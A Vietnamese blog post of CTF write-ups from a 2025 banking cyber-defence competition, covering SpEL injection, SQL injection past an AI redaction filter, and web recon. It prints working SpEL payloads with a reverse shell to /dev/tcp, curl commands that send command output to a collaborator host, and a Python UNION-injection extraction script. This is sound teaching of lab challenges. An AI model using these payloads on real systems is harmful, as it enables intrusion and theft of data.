Giới thiệu - Flexing

Cuối tháng 9 vừa qua cụ thể là 21/09/2025-25/09/2025, DF Cyber Defense 2025 – cuộc thi thường niên về Diễn tập tấn công phòng chủ trên không gian mạng cho lĩnh vực Ngân hàng, tài chính tại Việt Nam đã được tổ chức. Kết thúc cuộc thi, team VNDIRECT chúng tôi – đại diện cho Công ty Cổ phần Chứng Khoán VNDIRECT giành chức vô địch.

(Dạo này mình mới qua công ty VNDirect (Cũng đã được 6 tháng) việc mới + nhiều thứ mới nên là không có thời gian viết blog.)

Giải thi đấu gồm có 2 vòng thi:

• Online diễn ra vào ngày 21/09/2025

• Onsite diễn ra tại khách sạn JW Marriott (Hà Nội) vào ngày 25/09/2025

Các vòng thi đều có đủ 2 phần là: King of the hill và Jeopardy.

Jeopardy thì các bạn chơi CTF nhiều thì cũng đã biết về thể loại này rồi nên mình không nhắc đến nữa.

King of the hill thì theo như mình thấy và cũng như BTC nói thì đây là thể loại mà ở Việt Nam lần đầu tiên tổ chức, nên nó khá mới mẻ và hấp dẫn.

Các đội phải giữ tổng cộng 5 hill như hình bên trên, điểm giữ hill sẽ được tính như sau:

Top 10 vòng thi Online sẽ được cộng điểm ưu thế cho vòng thi Onsite

(Hình minh họa 2 phần thi bên dưới mình chỉ chụp của ngày online của ngày onsite mình quên chụp)

Các bạn có thể đọc thêm về thể lệ cuộc thi ở đây: https://drive.google.com/file/d/1vTTKE8vAz4u1R6ga_etJDWcFM-USqe09/view?usp=sharing

Mỗi team sẽ có 4 người tham gia thi đấu, nhưng riêng bọn tôi có thêm 1 đội quân thi đấu khác nữa đó là Đội quân tâm linh

→ Có thờ có thiêng, có kiêng có lành đúng không mấy Ní

Kết quả cuộc thi

Với vòng Online thì team mình đã may mắn dẫn đầu với tổng điểm là: 1180 điểm

• Điểm King of the hill là: 980

• Mình giải được 1 challenge Jeo: 200

Với vòng Onsite chúng tôi may mắt đạt được tổng điểm là: 1086 điểm

• King of the hill: 686

• Jeopardy: 400 (giải được 2 challenge)

→ Nhưng với lợi thế là chiến thắng vị trị thứ 1 ở vòng Online nên được +200 điểm vào điểm chung cuộc vòng Onsite nên tổng điểm cuối cùng chúng tôi có là: 1286 (Vượt trội hơn hẳn so với đội về thứ 2)

Hôm nay, tôi viết xuống bài viết này không phải mục đích là khoe mà tôi muốn chia sẻ niềm vui này tới mọi người cũng như viết xuống cách giải quyết những challenge mà chúng tôi gặp phải trong quá trình thi đấu.

(Vì trong cuộc thi này, tôi đảm nhận nhiệm vụ giải Jeopardy và giữ hill web/API và cũng lâu lâu giữ Hill AI Fraud → Nên tôi chỉ viết xoay quanh những thứ tôi làm được, còn những phần A/E khác làm để tôi lừa lừa họ viết Blog sau)

Cụ thể là ở cả 2 vòng tôi đảm nhận:

• Giữ hill-1: Online được 75 điểm, Onsite được 70 điểm

• Giải các challenge Jeopardy: Online được 1 Jeopardy, Onsite được 2 Jeopardy.

II. Write up Jeopardy vòng thi Onsite

FinovaBank Statement

Đề bài

Challenge này chúng ta được cho 1 trang web có tên là FinovaBank - Statement viewer. Vào xem thì có chức năng search Transaction search.

Phân tích

Theo thói quen của tôi là tôi luôn search thử vài mẫu test có kèm theo các ký tự đặc biệt như ’ ” … mục đích là để xem phản ứng của server.

Tất nhiên rồi, khi pentest thì chúng ta đề phải setup Burpsuite, và khi bấm submit request xong web ui trả về No results thì tôi kiểm tra burpsuite history của mình và phát hiện response trả về có lỗi.

HTTP/1.1 500 
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 28 Sep 2025 17:33:15 GMT
Content-Type: application/json
Connection: keep-alive
Content-Length: 211

{"timestamp":"2025-09-28T17:33:15.960+00:00","status":500,"error":"Internal Server Error","message":"Expression [ \"test\"\" ] @1: EL1045E: Cannot find terminating \" for string","path":"/api/statements/search"}

Ý tôi ở đây là lỗi (bug), không phải lỗ hổng bảo mật. Tuy nhiên trong message lỗi là một mã lỗi Expression EL1045E, tôi tò mò tìm kiếm google thử:

Đại ý google trả về là Expression EL1041E is a Spring Expression Language (SpEL) parsing error that occurs when the parser encounters unexpected data after it has already successfully parsed a complete, valid expression. It indicates that there's extra, invalid characters or tokens at the end of an expression string, such as an extra colon (:), comma (,), or curly brace ({) where they are not expected, leading to the parsing failure.

Mộ ví dụ về Spring Expression Language (SpEL)

// Hello SpEL — toán học cơ bản
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.Expression;

public class SpelDemo {
    public static void main(String[] args) {
        ExpressionParser parser = new SpelExpressionParser();

        Expression exp = parser.parseExpression("1 + 2 * 3");
        Integer result = exp.getValue(Integer.class);

        System.out.println("Kết quả: " + result); // 7
    }
}

OK, thì theo thói quen thôi có Expression lại còn phản ứng lỗi khi mà gửi ký tự đặc biệt vào thì có khả năng cao là có lỗ hổng lắm.

Vì suy nghĩ của tôi đơn giản như thế này: Expression thì sẽ là xử lý 1 cái gì đó? Vậy cái gì đó lại phản ứng lại với input tôi gửi lên → chứng tỏ 1 điều dev không hề validate input và ném thẳng vào cho Expression xử lý thì mới có chuyện nó phản ứng lại như vậy.

Thì tất nhiên rồi, điều đầu tiên cần làm là xem thằng cha Spring Expression Language (SpEL) có tồn tại lỗ hổng bảo mật nào không đã, tôi thì tôi hay search kiểu đại loại như:

• Spring Expression Language (SpEL) exploit

• Spring Expression Language (SpEL) vuln

• Spring Expression Language (SpEL) cve

• …

Đó, thì khi tìm kiếm với từ khóa như trên thì cũng thấy có tý hi vọng, thấy là cũng toàn title là có lỗ hổng rồi đấy, thậm chí là RCE.

À thì ra Spring Expression Language (SpEL) có lỗ hổng bảo mật có thể RCE, giải thích thì dài dòng như tôi khuyên bạn nên đọc link này để hiểu rõ trước về lỗ hổng này đã rồi đọc tiếp bài nhé: https://www.mgm-sp.com/identifying-and-preventing-remote-code-execution-rce-with-spring-expression-language-spel

Ok, coi như bạn đã hiểu về lỗ hổng trên nhé, tôi sẽ đi thẳng vào tìm cách khai thác luôn nhé.

Trước hết tôi thử xóa bớt đi 1 số parram và chỉ chừa lại customerName với value là test%22, thì server vẫn giãy nảy lên như lúc tôi thử ban đầu.

-> Để ý dòng chữ này nha Cannot find terminating \" for string → À à là sao nhỉ? là khi thêm “ vào thì nó bị thừa ” ra hay gì mà nó lại bảo Cannot find terminating \" for string → À kiểu nó phải thế à.

Thử làm thám tử Conan dự đoán code có thể đang chạy trên server xem sao nha.

// Controller
@RestController
@RequestMapping("/api/statements")
public class StatementController {

    private final StatementService statementService;

    public StatementController(StatementService statementService) {
        this.statementService = statementService;
    }

    @GetMapping("/search")
    public ResponseEntity<List<Statement>> search(@RequestParam("customerName") String customerName) {
        List<Statement> results = statementService.search(customerName);
        return ResponseEntity.ok(results);
    }
}

// Service
@Service
public class StatementService {

    private final StatementRepository repo;
    private final ExpressionParser parser = new SpelExpressionParser();

    public StatementService(StatementRepository repo) {
        this.repo = repo;
    }

    public List<Statement> search(String customerName) {
        List<Statement> allStatements = repo.findAll();  // lấy dữ liệu từ DB

        List<Statement> filtered = new ArrayList<>();
        for (Statement s : allStatements) {
            // Đoạn code có thể là lỗi ở đây
            // build biểu thức bằng cách ghép chuỗi từ input
            String expr = "\"" + customerName + "\" == \"" + s.getCustomerName() + "\"";
            Boolean match = parser.parseExpression(expr).getValue(Boolean.class);
            if (Boolean.TRUE.equals(match)) {
                filtered.add(s);
            }
        }
        return filtered;
    }
}

// Repository (giả định dùng JPA)
@Repository
public class StatementRepository {
    @PersistenceContext
    private EntityManager em;

    public List<Statement> findAll() {
        return em.createQuery("SELECT s FROM Statement s", Statement.class)
                 .getResultList();
    }
}

Bên trên là 3 đoạn code mà tôi giả sử hình dung là server nó sẽ chạy kiểu kiểu thế thì nó mới xảy ra cái lỗi Cannot find terminating \" for string khi mà cho thêm ” vào input, cụ thể là param: customerName

Bây giờ thì chúng ta có thể dễ hình dung hơn rồi heng.

Vì sao lỗi xảy ra? (Đoạn này là đang ngồi hình dung thôi nha, chưa biết gì đâu)

• Input: customerName=test"

• Ghép vào: "test"" == "John Smith" → SpEL parser đọc "test"" → chuỗi literal không đóng đúng → ném lỗi EL1045E: Cannot find terminating “ for string.

• Nếu input là test"" → thành "test""" == "John Smith". Trong một số parser, cặp "" được hiểu như escape cho dấu " bên trong string → không lỗi và trả về 1 mảng rỗng.

Như dự đoán, nếu tôi thử test%22%22 thì có vẻ không còn lỗi nữa.

Như vậy ta đã biết bên ta có thể truyền 1 biểu thức vào parseExpression để cho nó chạy và tay cũng hình dung ra được là có 1 UNTRUSTED DATA đang được truyền vào với công thức: "\"" + UNTRUSTED DATA + "\" == \"" + s.getCustomerName() + "\"";

Ok, nhiệm vụ của chúng ta bây giờ phải làm sao cho PAYLOAD truyền vào nó phải chạy được đã, để nó không raise ra lỗi.

Tôi có hỏi qua ChatGPT thì trong SpEL thì các toán tử sẽ là and/or, … như hình bên dưới.

test"=="test" and <BIỂU THỨC> and "1" == "

Và có thể bạn cũng biết BIỂU THỨC đó cũng có thể là 1 đoạn mã JAVA.

test"=="test" and Hello() == 1 and "1" == "

Khai thác

Vậy thì mã JAVA ở đây là gì? để chúng ta có thể khai thác được.

Thì các bạn mà hay RCE với các ứng dụng java thì cũng biết đến mấy lệnh T(java.lang.Runtime).getRuntime().exec('<COMMAND>')

T(java.lang.Thread).sleep(10000) // Cho server sleep 10000
T(java.lang.Runtime).getRuntime().exec('id') // Chạy lệnh ID
T(java.lang.Runtime).getRuntime().exec(\"bash -c $@|bash 0 echo bash -i >& /dev/tcp/<ip>/8443 0>&1\") // Revershell
(T(java.lang.Runtime).getRuntime().exec('sh -c $@|sh . echo curl aiwbvvnstnmkc4yj1aw8hyqm8de32s.burpcollaborator.net/?=`id|base64 -w0`')) // Out of band get command ID

OK, bây giờ mình cần chứng minh rằng mình có thể chạy lệnh trên server nên mình sẽ dùng payload

(T(java.lang.Runtime).getRuntime().exec('sh -c $@|sh . echo curl aiwbvvnstnmkc4yj1aw8hyqm8de32s.burpcollaborator.net/?=`id|base64 -w0`'))

→ Thay aiwbvvnstnmkc4yj1aw8hyqm8de32s.burpcollaborator.net bằng burpcollaborator của bạn.

Câu lệnh nó đại loại kiểu

test"=="test" and (T(java.lang.Runtime).getRuntime().exec('sh -c $@|sh . echo curl dtaq2nsw8ej2zpk0nw0yb65hv81zpqdf.oastify.com/?=`id|base64 -w0`')) == 1 and "1" == "

Với một request Burpsuite kiểu

Kiểm tra burpcollaborator thì thấy đã có 1 request http trả về

\=> Decode base64 dWlkPTEwMDAgZ2lkPTEwMDAgZ3JvdXBzPTEwMDAK ta được uid=1000 gid=1000 groups=1000 → Vậy chứng minh rằng ta có thể chạy lệnh trên server.

Bây giờ ta cần tìm xem flag nằm ở đâu trên server, trước tiên là chạy lệnh ls /

test"=="test" and (T(java.lang.Runtime).getRuntime().exec('sh -c $@|sh . echo curl dtaq2nsw8ej2zpk0nw0yb65hv81zpqdf.oastify.com/?=`ls /|base64 -w0`')) == 1 and "1" == "

Ta nhận được

→ Vậy flag sẽ nằm tại /-flag.txt

Get flag

test"=="test" and (T(java.lang.Runtime).getRuntime().exec('sh -c $@|sh . echo curl dtaq2nsw8ej2zpk0nw0yb65hv81zpqdf.oastify.com/?=`cat /-flag.txt|base64 -w0`')) == 1 and "1" == "

Nhận được flag là: DF25{Y0u_c0UlD_5p3L_7h3_3xpr35510N!!}

Next-gen WAiF (TODO)

Đề bài

Vào link web BTC cho thì chúng ta có

Sau khi nhập Team token do BTC cung cấp thì ta có

Phân tích

Okey, nhìn vào hình trên thì ít nhất chúng ta cũng có thể thấy được 1 số thông tin như sau:

Available Endpoints:

• GET /users/<id> Retrieve user information by ID

• GET /search?q=<term> Search for users by query term

• GET/POST /flag Submit the 3 users' secret_key values to claim the flag

Đặc biệt nhất là: Hint: Tất cả output HTTP sẽ được đi qua hệ thống AI filtering và dữ liệu nhạy cảm sẽ bị redact thành ********.

Bây giờ tôi thử xem từng enpoint 1 nhé.

GET/POST /flag

Với GET request chúng ta sẽ có 1 form submit như thế này

→ Trong DB có tổng cộng 3 users. Player cần phải trích xuất đủ cột secret_key của 3 users để chứng minh bạn đã bypass hoàn toàn hệ thống AI filtering. => Như vậy trong hình dung của tôi là bài này là 1 kiểu nào đó lấy được 3 secret_key của 3 users để submit vào đây rồi.

Đương nhiên rồi, POST request chính là khi có secrets và bấm Nộp.

GET /search?q=<term>

GET /users/<id>

\=> có thể thấy được là với /search và /users thì các thông tin nhạy cảm đã được redact thành ********

Thử nghiệm với SQL injection

Đối với các bạn không biết thế nào nhưng với tôi khi mà nhìn thấy 2 enpoints /search và /users như trên thì điều đầu tiên tôi không thể bỏ qua là SQL injection và IDOR, tuy nhiên trong trường hợp này tôi không test IDOR nữa vì như các bạn thấy hình trên các thông tin nhạy cảm đã được redact thành ******** => IDOR có vẻ vô dụng trong trường hợp này.

Tôi đã thử SQL injection lên cả 2 enpoints, tuy nhiên với /users tôi đã thử đủ kiểu nhưng không thấy có sự phản hồi nào mang lại cảm giác là SQL injection sẽ ở chỗ này.

Khi tôi thử sang enpoint /search, thì với chức năng search này mình phải nghĩ đến là thử UNION Based.

Lúc đầu, khi vào http://152.42.200.249:8111/search thì có vẻ dữ liệu trả về là 12 cột

Như vậy thì đơn giản rồi chỉ cần viết câu lệnh UNION để thử thôi.

'   UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12 from users-- -

Khi chạy lên thì sẽ thấy có sự xuất hiện của các các trường address: 5 , dob:6, username:2, tôi sẽ không quan tâm trường ID lắm → Vì trường ID như thấy trong hình phần trên nó là dạng Int, mà tôi cần trích xuất secret nên int có vẻ không tác dụng lắm.

Okey, bây giờ tôi đã biết rằng mình có thể làm sao đó để leak secret key thông qua:

• address

• dob

• username

Các bạn đang nghĩ là: Ồi! giờ thì đơn giản, chỉ cần select trương secret_key để vào trong 3 trường trên là được đúng không?

Các bạn nghĩ:

'   UNION SELECT 1,2,3,4,secret_key,6,7,8,9,10,11,12 from users-- -

Nhầm, nếu dễ thế thì đã không có chuyện để nói. Hãy nhớ lại Hint: Tất cả output HTTP sẽ được đi qua hệ thống AI filtering và dữ liệu nhạy cảm sẽ bị redact thành ********.

Thấy chưa ạ? hehe, vậy thì chúng ta không thể cứ thế mà lấy đâu nhe, ta cần nghĩ ra 1 cách nào đó tricky hơn, ví dụ như:

'   UNION SELECT 1,2,3,4,printf("M%s", substr(secret_key,1,1)),6,7,8,9,10,11,12 from users-- -

Giải thích printf("M%s", substr(secret_key,1,1)) : Mục đích tôi muốn lấy ký tự thứ 1 trong secret_key và nối với prefix là M (M là chữ cái đầu tên mình).

Thế nhưng, như thế này thì mỗi request tôi chỉ lấy được 1 key thôi ư? tôi có đến tận ít nhất 3 trường có thể đọc được dữ liệu là address, dob, username cơ mà. Bây giờ tôi sẽ nhồi nó vào thôi.

'   UNION SELECT 1,printf("M%s", substr(secret_key,3,1)),3,4,printf("M%s", substr(secret_key,1,1)),printf("M%s", substr(secret_key,2,1)),7,8,9,10,11,12 from users-- -

Như vậy tôi có thể đoán đoán là một chuỗi gì đó dạng CBJ***

Như hint đã cho là có tận 3 users lận, nên tôi nghĩ đến việc dùng UNION ALL để có thể lấy được tất cả cùng 1 lúc.

'   UNION ALL SELECT 1,printf("M%s", substr(secret_key,3,1)),3,4,printf("M%s", substr(secret_key,1,1)),printf("M%s", substr(secret_key,2,1)),7,8,9,10,11,12 from users-- -

Vậy thì giờ ta chỉ cần viết 1 vòng loop cho chạy với bước nhảy là 3 và request lên server là ok:

for i in range(1, 100, 3):
    # Request to server

→ Hãy xem mã khai thác đầy đủ bên dưới.

Khai thác

# 0xmanhnv
import requests
from urllib.parse import quote_plus


final_secret1 = ""
final_secret2 = ""
final_secret3 = ""

for i in range(1, 100, 3):

    # Thay bằng target bạn có quyền test, ví dụ: http://localhost:8111
    base_url = "http://152.42.200.249:8111/search"


    first_char = f'printf("M%s", substr(secret_key,{i},1))'
    second_char = f'printf("M%s", substr(secret_key,{i+1},1))'
    third_char = f'printf("M%s", substr(secret_key,{i+2},1))'

    # Put a harmless query here by default. Replace ONLY if you have explicit authorization.
    payload = f"'   UNION ALL SELECT 1,{third_char},3,4,{first_char},{second_char},7,8,9,10,11,12 from users-- -"

    # URL-encode the query parameter
    params = {"q": payload}
    # Or build full URL manually:
    full_url = f"{base_url}?q={quote_plus(payload)}"

    # Headers (copy from your original request as needed)
    headers = {
        "User-Agent": "Mozilla/5.0 (compatible; ExampleBot/1.0)",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Connection": "keep-alive",
        # "Upgrade-Insecure-Requests": "1",  # optional
    }

    # Cookies (only include cookies you legitimately have)
    cookies = {
        "team_session": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJWTkRJUkVDVC03YzllMWIyZDU0YTMiLCJ0ZWFtX2FiYnIiOiJWTkRJUkVDVCIsInRlYW1fZnVsbF9uYW1lIjoiQ1x1MDBmNG5nIHR5IGNcdTFlZDUgcGhcdTFlYTduIGNoXHUxZWU5bmcga2hvXHUwMGUxbiBWTkRJUkVDVCIsImlzcyI6ImFpLWZyYXVkLWNoYWxsZW5nZSIsImlhdCI6MTc1ODg2ODI1MCwiZXhwIjoxNzU4OTU0NjUwfQ.A1Qx6h0ThCI07VAQwx9KjPbG9OueAy45HEM-pXWrYCI"
    }

    secret1=""
    secret2=""
    secret3=""

    # Use a session for connection reuse
    with requests.Session() as s:
        s.headers.update(headers)
        # If you prefer to pass params separately:
        r = s.get(base_url, params=params, cookies=cookies, timeout=15)

        print("Requested URL:", r.url)
        print("Status code:", r.status_code)
        # Print first N characters of the response body for quick inspection
        print("--- Response---")
        results1 = r.json().get("results")[len(r.json().get("results")) - 3]
        results2 = r.json().get("results")[len(r.json().get("results")) - 2]
        results3 = r.json().get("results")[len(r.json().get("results")) - 1]

        secret1 += results1.get("address").replace("M", "")
        secret1 += results1.get("dob").replace("M", "")
        secret1 += results1.get("username").replace("M", "")

        secret2 += results2.get("address").replace("M", "")
        secret2 += results2.get("dob").replace("M", "")
        secret2 += results2.get("username").replace("M", "")

        secret3 += results3.get("address").replace("M", "")
        secret3 += results3.get("dob").replace("M", "")
        secret3 += results3.get("username").replace("M", "")

        # if results1.get("address").replace("M", "") == "" and results1.get("dob").replace("M", "") == "" and results1.get("username").replace("M", "") == "":
        #     break

        final_secret1 += secret1
        final_secret2 += secret2
        final_secret3 += secret3
        print(final_secret1)
        print(final_secret2)
        print(final_secret3)

print(final_secret1) 
print(final_secret2) 
print(final_secret3)

Tiến hành chạy mã khai thác.

                                               _oo0oo_
                                              o8888888o
                                              88" . "88
                                              (| -_- |)
                                              0\  =  /0
                                            ___/`---'\___
                                          .' \|     |// '.
                                         / \|||  :  |||// \
                                        / _||||| -:- |||||- \
                                       |   | \  -  /// |   |
                                       | \_|  ''\---/''  |_/ |
                                       \  .-\__  '-'  ___/-. /
                                     ___'. .'  /--.--\  `. .'___
                                  ."" '<  `.___\_<|>_/___.' >' "".
                                 | | :  `- \`.;`\ _ /`;.`/ - ` : | |
                                 \  \ `_.   \_ __\ /__ _/   .-` /  /
                             =====`-.____`.___ \_____/___.-`___.-'=====
                                               `=---='

                             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                                Buddha Bless: Critical Bugs Incoming
➜  walif git:(main) ✗ python3 exp.py
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C3%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C1%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C2%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJ
CBJ
CBJ
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C6%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C4%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C5%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_S
CBJS_S
CBJS_S
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C9%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C7%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C8%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECR
CBJS_SECR
CBJS_SECR
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C12%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C10%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C11%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECRET_
CBJS_SECRET_
CBJS_SECRET_
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C15%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C13%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C14%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECRET_nha
CBJS_SECRET_lin
CBJS_SECRET_duc
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C18%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C16%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C17%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECRET_nhan_9
CBJS_SECRET_linh_e
CBJS_SECRET_duc_h6
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C21%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C19%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C20%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECRET_nhan_9f8e
CBJS_SECRET_linh_e3f9
CBJS_SECRET_duc_h6j4k
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C24%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C22%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C23%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECRET_nhan_9f8e2d1
CBJS_SECRET_linh_e3f9a8b
CBJS_SECRET_duc_h6j4k8l2
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C27%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C25%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C26%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECRET_nhan_9f8e2d1c4b
CBJS_SECRET_linh_e3f9a8b2c7
CBJS_SECRET_duc_h6j4k8l2m9n
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C30%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C28%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C29%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECRET_nhan_9f8e2d1c4b7a5
CBJS_SECRET_linh_e3f9a8b2c7d1x
CBJS_SECRET_duc_h6j4k8l2m9n5p7
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C33%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C31%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C32%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECRET_nhan_9f8e2d1c4b7a5k3m
CBJS_SECRET_linh_e3f9a8b2c7d1x5y9
CBJS_SECRET_duc_h6j4k8l2m9n5p7q1a

Sau khi chạy chúng ta nhận được 3 chuỗi secret

CBJS_SECRET_nhan_9f8e2d1c4b7a5k3m
CBJS_SECRET_linh_e3f9a8b2c7d1x5y9
CBJS_SECRET_duc_h6j4k8l2m9n5p7q1a

Get flag

Truy cập http://152.42.200.249:8111/flag và nhập 3 chuỗi Secret vào.

Submit và nhận được flag DF25{we_will_become_cyborg_in_AI_era}

Cập nhật ngày 07/10/2025

Mình tính viết tiếp mấy challenge mình đã giải được nhưng BTC cuộc thi đã tung ra mã nguồn cũng như solution về các challenge rồi, nên thôi không viết tiếp nữa.

Các bạn có thể vào link BTC đăng để đọc nhé: https://github.com/CyberJutsu/Challenge-Writeups

Cảm ơn các bạn và kết hoạch sắp tới

Cảm ơn các bạn đã đọc bài viết của mình, dù mình đã lâu không còn viết blog nhưng khi viết một bài mới cũng bất ngờ vì các bạn còn nhớ đến mình và ủng hộ rất nhiều.

Nhưng đọc xong nhớ comment vào nhé mấy Ní :D

Nhân đây mình cũng muốn thông báo là sắp tới mình sẽ có ra thêm 1 loạt series về các kỹ thuật/Công cụ sử dụng trong redteam.

Các bạn nhớ đón đọc nhé.

Tuyển dụng

Team mình vẫn đang liên tục tuyển dụng số lượng lớn Product security/Application security, nếu A/E nào có như cầu thì liên hệ mình nhé.

Nếu các bạn có hứng thú với các bài blog cũ của mình thì có thể đọc nó tại: https://viblo.asia/u/0xmanhnv

Mình xin cảm ơn!!!

Để kỷ niệm 1000 ngày chưa post bài, nhân dịp giật được lì xì đầu năm của anh Mạnh Luật và anh Luật có gửi lời comeback viết writeup nên hôm nay mình quyết định dành chút thời gian viết lại writeup bài CTF do Cyberjutsu dựng có tên là: Rắn Thần Tài

wait a minute! Hãy like và subscribe vì nó miễn phí

Đề bài

Đề bài là 1 website cùng một số mô tả về flag như trên hình.

Đặc biệt flag này có “vô số Easter Egg, ai tìm đủ Easter Egg sẽ có được mã lì xì Momo!” → Đây là lý do chính mình chơi bài CTF này :))) hehe :))) hehe :)))

(Vì là bài này viết cho các bạn chưa biết gì cũng học hỏi được, nên mình viết kỹ và chi tiết xíu nhé!!!)

Recon

Chuẩn bị

Chúng ta setup Burpsuite thì về cơ bản chắc các bạn biết rồi, trên hình chỉ là mình thêm target scope vào Burpsuite để xíu nữa filter nhìn đống HTTP history cho đỡ rối (bài nhập môn pentest nên là cái này mình không nói lại nữa nhé)

Truy cập vào link web để xem thử mặt mũi nó ra làm sao, thì nhận được 1 trang web như sau

Tuy trang đầu thôi, nhưng chúng ta cũng có 1 số thông tin có thể thu thập vào lưu ý:

• Web được dựng từ ASP.NET

• Có link tới chức năng chơi game (Link này được thêm vào sau này, khi mình làm bài này thì link này đang để ẩn phải fuzz mới ra, nên mình cứ làm theo thứ tự như mình là nhé và coi như chưa biết link game)

Công việc đặt ra bây giờ là đi do thám và và khám phá xem web này là web gì? hoạt động ra làm sao?…

Directory scanning

Web hiển thị ra chỉ là mấy dòng chữ mình không thể biết được liệu đằng sau nó có chức năng gì khác không, nên mình sử dụng kỹ thuật gọi là directory scanning để tìm kiếm các đường dẫn ẩn, công cụ mình sử dụng có tên là: Gobuster

(Lưu ý: Để tránh bài viết quá dài mình sẽ không hướng dẫn lại các sử dụng nữa mà các bạn phải tự vào document của công cụ để đọc, mình chỉ đưa câu lệnh mình đã sử dụng vào bài thôi)

gobuster dir -u http://206.189.39.54:8085  -w ~/Tools/SecLists/Discovery/Web-Content/common.txt -x asp,aspx,conf,config,txt,html,htm -t 50

Sau khi chạy xong mình đã thu thập được 1 số URL, và mình sẽ tiến hành truy cập vào từng URL đó để xem nó là gì.

/Home
/game
/robots.txt

Tiếp tục thử scan dir thêm 1 lần nữa với /game

gobuster dir -u <http://206.189.39.54:8085/game>  -w ~/Tools/SecLists/Discovery/Web-Content/common.txt -x asp,aspx,conf,config,txt,html,htm -t 50

Qua bước này thu thập được thêm các URL

/game/Index
/game/feedback

Web discovery

robots.txt

Sau khi truy cập vào robots.txt thu thập được thêm URL

/Game -> Đã thu thập
/appsettings.json
/Admin
/Areas
/bin
/Controllers
/Models

Dùng browser truy cập hết các đường dẫn và quan sát Burpsuite

/Admin

⇒ Response ở burpsuite → Thu được CBJS_EASTER_EGG

CBJS_EASTER_EGG{Part 2: /lixi/9o3}

Sau bước này thì mình thu thập được thêm thông tin: Server: Kestrel

